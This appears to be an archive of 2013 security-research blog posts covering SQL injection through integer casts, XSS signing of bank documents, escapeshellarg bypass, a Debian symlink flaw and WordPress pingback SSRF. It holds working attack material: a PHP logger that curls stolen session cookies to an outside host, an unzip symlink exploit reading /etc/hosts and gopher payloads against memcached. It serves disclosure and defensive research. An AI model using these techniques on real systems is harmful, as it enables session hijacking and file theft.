четверг, 12 сентября 2013 г.

The mobile application's role in web application security audits

Modern web projects have also mobile applications.
In terms of client-side model, mobile application is a client, like a browser.
Server is web application: PHP/Java/RoR or another platform's code.

Mobile applications interact with the server just like a browser, because HTTP(S) protocol are very common.

Thus, when we talk about security audit of web application as a server application code, we must also carry out a security checks of the parts that interact with mobile applications, not just those which interact with browsers.

In order to understand how mobile application communicates with application server, which sends requests (which uses urls, parameters), it is necessary to explore mobile app.

The most simple and reliable way for this purpose is to intercept the traffic on the same network that mobile application uses to send requests to application server. This may be a wi-fi or your network card, if the application is run in the emulator.

But recently, we have found another easier way to collect references left in the code by developers of mobile applications. This method is an excellent complement to the first option with the interception of traffic.

Free online service hackapp.com allows you to perform a safety check of mobile apps for iOS including collecting links within mobile applications.

A few examples:
Samsung mobile print application:

This information also can help auditors during penetrations testing.

But sometimes this service surprises us with a startling discovery, for example, private keys!
Samsung (again) SmartTangoTalk application:

вторник, 2 июля 2013 г.

Insecure DNS records in top web projects

Last month ONsec_lab had discovered and reported about the same DNS issue in top web projects: live.com, facebook.com, yahoo.com, nokia.com, paypal.com, baidu.com, att.com and many others.

DNS linked few *.COMPANY.com domains to IP which doesn't belong to 

These addressed from Private Address Space 10/8, 172.16/12, 192.168/16 (look at http://tools.ietf.org/html/rfc1918, https://en.wikipedia.org/wiki/IPv4) and localhost

Basically, this may be interpreted as information leakage from intranet of COMPANY. But it's obvious :)

This server-side issue can be exploited as a client-side vulnerability when attacker and victim are in the same private network:

I.e. local.COMPANY.com have A-record to

1. Attacker connects to any public network with address space from or other which linked to any local.COMPANY.com domain.
2. Attacker adds to network interface on his computer address from A-record which linked to private address
3. Attacker publishes on any resource link to local.COMPANY.com (for example - banner on any news-site). Like as classic CSRF/reflected XSS attack.
4. All users, who connected to the same network (1) and see banner (3) will make request to http://local.COMPANY.com, which actually will be made to computer of attacker. Browser will  send cookies for *.COMPAMY.com in this request, because user make request to local.live.com. 

In this case malicious user steal cookies.

What about protection? 

Simple way is protect session cookies by Secure flag. This is facebook way. But anyway attacker can steal others non-Secure cookies. Also attacker in this case can do logout attack, because browsers have only 4Kb memory for all cookies which stored at all *.COMPANY.com domains. For this reason attacker can set many new cookies from local.COMPANY.com to delete all cookies from *.COMPANY.com and COMPANY.com scope.

Some examples:

./ccbill.com: backend.ccbill.com
./ccbill.com: internal.ccbill.com

./facebook.com: atlas.facebook.com
./facebook.com: hr.facebook.com
./facebook.com: lists.facebook.com
./facebook.com: ntp.facebook.com
./facebook.com: ntp.facebook.com
./facebook.com: sb.facebook.com
./facebook.com: time.facebook.com
./facebook.com: time.facebook.com
./facebook.com: xmail.facebook.com

./live.com: monitoring.live.com

./nokia.txt: guest.nokia.com
./nokia.txt: linux.nokia.com

./paypal.com: mx.paypal.com

./yahoo.com: i.yahoo.com
./yahoo.com: na.yahoo.com

./baidu.com: accounts.baidu.com
./baidu.com: ba.baidu.com
./baidu.com: bd.baidu.com
./baidu.com: bh.baidu.com
./baidu.com: bh.baidu.com
./baidu.com: bh.baidu.com
./baidu.com: bi.baidu.com
./baidu.com: bugs.baidu.com
./baidu.com: cd.baidu.com
./baidu.com: cdn.baidu.com
./baidu.com: cms.baidu.com
./baidu.com: com.baidu.com
./baidu.com: crm.baidu.com
./baidu.com: crm.baidu.com
./baidu.com: ct.baidu.com
./baidu.com: dc.baidu.com
./baidu.com: def.baidu.com
./baidu.com: dt.baidu.com
./baidu.com: ecom.baidu.com
./baidu.com: erp.baidu.com
./baidu.com: flow.baidu.com
./baidu.com: fw.baidu.com
./baidu.com: ga.baidu.com
./baidu.com: global.baidu.com
./baidu.com: global.baidu.com
./baidu.com: gw1.baidu.com
./baidu.com: h.baidu.com
./baidu.com: iq.baidu.com
./baidu.com: it.baidu.com
./baidu.com: km.baidu.com
./baidu.com: kr.baidu.com
./baidu.com: launch.baidu.com
./baidu.com: live.baidu.com
./baidu.com: live.baidu.com
./baidu.com: log.baidu.com
./baidu.com: log.baidu.com
./baidu.com: log02.baidu.com
./baidu.com: mirror.baidu.com
./baidu.com: ml.baidu.com
./baidu.com: monitor.baidu.com
./baidu.com: nl.baidu.com
./baidu.com: o.baidu.com
./baidu.com: ocean.baidu.com
./baidu.com: openview.baidu.com
./baidu.com: pe.baidu.com
./baidu.com: portal.baidu.com
./baidu.com: r2.baidu.com
./baidu.com: ra.baidu.com
./baidu.com: se.baidu.com
./baidu.com: security.baidu.com
./baidu.com: serv.baidu.com
./baidu.com: sms.baidu.com
./baidu.com: speed.baidu.com
./baidu.com: ssl.baidu.com
./baidu.com: tiger.baidu.com
./baidu.com: tn.baidu.com
./baidu.com: tool.baidu.com
./baidu.com: tools.baidu.com
./baidu.com: training.baidu.com
./baidu.com: ut.baidu.com
./baidu.com: va.baidu.com
./baidu.com: web.baidu.com
./baidu.com: win.baidu.com
./baidu.com: work.baidu.com
./baidu.com: ws.baidu.com

понедельник, 13 мая 2013 г.

When Integer cannot protect you from SQL injection?

It is assumed that the cast user data to a numeric type is fully protected from SQL injection vulnerabilities.

Look at simple example:

$action = $_GET['do'];
$r=$db->query("select role".((int)$action)." from users where id=".((int)$_SESSION['user_id']));
                die('permission denied');

This code looks like SQLi protected, but it is not true.

Do not forget two obvious facts:
1. Minus is SQL operatator
2. Numbers can be negative

Now its easy to understand SQL logic in this case (w/o injection):

select role0 from users where id=0

And SQL injection attack vector in this case:

select role-1 from users where id=0

In our example attacker can bypass auth.
This example requires tables role and role0 both in database.

среда, 24 апреля 2013 г.

How XSS can defeat your digital signatures

Recently we exploited nice XSS vector in one of RBS (Remote Banking Service) system. This example shows very well how dangerous can be client-attack.

Client after the authorization could sign electronic documents.
For signature from browser developers used CAPICOM technology.

If you are already understood us, you can not finish this note ;)

Signature from JavaScript - this is easy and usefull from client-side attacks.
JS code for sign document looks like:

function SignCreate(certSubjectName, dataToSign) {
    var oStore = CreateObject("CAPICOM.Store");

    var oCertificates = oStore.Certificates.Find(
    if (oCertificates.Count == 0) {
        alert("Certificate not found: " + certSubjectName);

You can easily call this function from stored/reflected XSS to sign arbitrary data.
To solve the PIN entry problem, we have used the caching mechanism for the key. Most often, after entering the PIN code of the key, PIN is remembered for a while.

So we were able to sign arbitrary (injected) document immediately after the user signs his own document (and entered PIN of course).

Then, using the Javascript we were able to hide the injected signed document from users's orders table (document was order request) for current user.

So only a single stored XSS vulnerability defeated all security measures of the RBS system. Note, that typically protections such as httpOnly cookies and SSL have been included, but it does not help.

понедельник, 8 апреля 2013 г.

Exploiting server-side vulns as client-side?!!

Sounds terrible, does not it? This post is obviously of course ;)

But sometimes this is effective attack vector, for example, whenever you can exploit any subdomain (news.your-target.com) but can not exploit main domain (your-target.com).

You can track cookies at any subdomain even if they were protected by httpOnly/Security.
Look to RFC6265 http://tools.ietf.org/html/rfc6265: The Domain Attribute
The Domain attribute specifies those hosts to which the cookie will be sent. For example, if the value of the Domain attribute is "example.com", the user agent will include the cookie in the Cookie header when making HTTP requests to example.com, www.example.com, and www.corp.example.com. (Note that a leading %x2E ("."), if present, is ignored even though that character is not permitted, but a trailing %x2E ("."), if present, will cause the user agent to ignore the attribute.) If the server omits the Domain attribute, the user agent will return the cookie only to the origin server.

Tracking cookies are possible when main server sending Set-cookie header with "domain" attribute.
Logger to inject into subdomain may looks like:
if(!isset($_COOKIE['session_id']) || !preg_match('/$ASYOUWANT^/s',$_COOKIE['session_id']) || isset($_SESSION['already_logged'])){
   //do nothing
   //exec called for asynchronous request
   exec("curl http://security-auditor.com/sniffer.php?session_id=".$_COOKIE['session_id'])." &";//httpOnly cookie of course
Simple code of described sniffer listed below:
$ssid = @$_GET['session_id'];
 // download page as a client
 $opts = array(
    'header'=>"Accept-language: en\r\n" .
              "Cookie: session_id=$ssid;\r\n"
 $context = stream_context_create($opts);
 $file = file_get_contents('https://target.com/settings', false, $context);
        file_put_contents("/tmp/sess-$ssid","Cookie: session_id=$ssid; \n".$file ); } }

воскресенье, 24 марта 2013 г.

Breaking escapeshellarg() news

PHP function escapeshellarg() is the most popular way to prevent OS Commanding threats during shell calls by escaping command arguments.

But this function is not a panacea, and you should keep this in mind when using it.

Let's try to understand what this escaping function is doing:
  1. Performs framing quotes string: aaa -> 'aaa'
  2. Cuts bytes 0x00, 0x80-0xFF
  3. Escape single quotes: ' -> ''\'''
This guaranteed to create one console line argument from a string.
So, looks like ideal solution, right?

But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.

Second trick is argument parser which embeded in command line utilities.

Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'

There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.

   exec('unzip -j '.escapeshellarg($_GET['zip_arch_name']).' *.dat -d /tmp');
Is it code protected from hackers? Try to check this in terminal by typing:
$ unzip -j '-d/var/www/' *.dat -d /tmp

This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.

Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat

You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).

Try it:

$ unzip -j '-d/var/www' *.dat -d /tmp
Archive:  1.dat
    linking: /var/www/2.dat  -> /etc/hosts
finishing deferred symbolic links:
  /var/www/2.dat -> /etc/hosts
caution: filename not matched:  -d
caution: filename not matched:  /tmp

Now you can read files by +FollowSymlinks              -------------->

вторник, 5 марта 2013 г.

Analysis of CVE-2013-1048

Today we were very surprised by vulnerability CVE-2013-1048 in Apache web-server. This issue was described in Debian Security Advisory DSA-2637-1 by following notes:

Hayawardh Vijayakumar noticed that the apache2ctl script created the lock directory in an unsafe manner, allowing a local attacker to gain elevated privileges via a symlink attack. This is a Debian specific issue.
First looks at last line of quote - only Debian systems were affected.

Lets try to analyse patch for this bug:

As you can see, install command was replaced to mkdir_chown function which contains many security checks.

Lets try to understand what happens where "install -d -o www-data /var/lock/apache" called.

This command creates directory /var/lock/apache and that set chown www-data to this directory.

But if this directory was already created as a symlink to another directory (/var/lock have a+w privileges), install command change privileges to this directory. Simplest exploitation way is create directory /var/lock/apache as a symlink to /etc/ directory and than delete /etc/shadow file and recreate it with yourself content under www-data user privileges.

суббота, 2 марта 2013 г.

Tomcat Servlet Examples threats

Tomcat application server by default contains "/examples" directory which has many example servlets and JSPs.
We strongly recommend to disable public access to this directory by following security reasons:

  • Bypassing HttpOnly Cookies protection
  • CSRF cookies manipulation
  • Session manipulation
HttpOnly flag must protect user's cookies from client-side attacks such as XSS. There are two example servlets in Tomcat which shows all cookies in plain/text HTTP response:
  • /examples/servlets/servlet/RequestHeaderExample
  • /examples/servlets/servlet/CookieExample
Second servlet also provides CSRF-based cookie manipulations: set/redefine by GET and POST requests both.

Session manipulation is more interesting. Looks at /examples/servlets/servlet/SessionExample servlet. It is simplest way to gain admin privileges in target webapps which hosted on same Tomcat with SessionExample servlet.

Session is global and this servlet provides you any manipulations with your session!
We strongly recommend to disable public access to /examples directory again.

пятница, 4 января 2013 г.

WordPress XMLRPC pingback additional issues

Vulnerability in WordPress XMLRPC pingback function was recently published:

Basically this vuln can be used to scan opened ports on localhost and intranet:

But in fact, this vulnerability is much wider!

First, look at "SSRF bible. Cheatsheet":
and our ZeroNights 0x02 presentation:

Lets try to exploit this bug as a SSRF!
By default WP try to use cURL (libcurl) to make a requests:

 4988       $linea = wp_remote_fopen( $pagelinkedfrom );

 749 function wp_remote_fopen( $uri ) {
 758         $response = wp_remote_get( $uri, $options );

 74 function wp_remote_get($url, $args = array()) {
 75         $objFetchSite = _wp_http_get_object();
 76         return $objFetchSite->get($url, $args);  ...
 22 function &_wp_http_get_object() {
 23         static $http;
 25         if ( is_null($http) )
 26                 $http = new WP_Http();

 294         function get($url, $args = array()) {
 295                 $defaults = array('method' => 'GET');
 296                 $r = wp_parse_args( $args, $defaults );
 297                 return $this->request($url, $r);
 298         }

 81         function request( $url, $args = array() ) {
 191                 return $this->_dispatch_request($url, $r);
 243         private function _dispatch_request( $url, $args ) {
 244                 static $transports = array();
 246                 $class = $this->_get_first_available_transport( $args, $url
 205         public function _get_first_available_transport( $args, $url = null )
 206                 $request_order = array( 'curl', 'streams', 'fsockopen' );

Now you know that using file:// gopher:// dict:// ldap:// and other schemas do this bug really dangerous.
It is easy to exploit local services and host-based auth by dict/gopher.

Try to read data from response. It is may be response with local file content (file://) or data from intranet/services (http://wiki.internal.local, gopher://localhost:11211/1get%20secretkey%0aquit).

Look at WP code again:

 4988   $linea = wp_remote_fopen( $pagelinkedfrom );
 4989   if ( !$linea )
 4999   preg_match('|<title>([^<]*?)</title>|is', $linea, $matchtitle);
 5000   $title = $matchtitle[1];
 5001   if ( empty( $title ) )
 5002      return new IXR_Error(32, __('We cannot find a title on that page.'));
 5004   $linea = strip_tags( $linea, '<a>' ); // just keep the tag we need
 5006   $p = explode( "\n\n", $linea );
 5008   $preg_target = preg_quote($pagelinkedto, '|');
 5009   foreach ( $p as $para ) {
 5010      if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
 5011         preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
 5013         // If the URL isn't in a link context, keep looking
 5014         if ( empty($context) )
 5015            continue;


 5019         $excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
 5021         // prevent really long link text
 5022         if ( strlen($context[1]) > 100 )
 5023            $context[1] = substr($context[1], 0, 100) . '...';

Data between "<titile>" and "</title>" strings will be put in author field of comment (255 bytes limited by DB field).
Data between "<a >" and "</a>" strings will be put in content field of comment (100 bytes limited by line 5022).

Now it is clear that you can read 355 bytes of arbitrary data.

Let's try to read data from access.log.
First inject markers into access.log by following requests:
http://localhost/tests/wordpress/#<a http://localhost/tests/wordpress/?p=1>

Send requests with markers by manually crafted HTTP packets like this (browsers create HTTP requests w/o anchors):
GET /tests/wordpress/#<a>marker1 HTTP/1.1
Host: localhost

Now you can add comment with arbitrary data between your markers using simple XMLRPC request (see slides 20-23 from our presentation about ProcFS way to read access.log):

For fun - reading output of stats memcached command: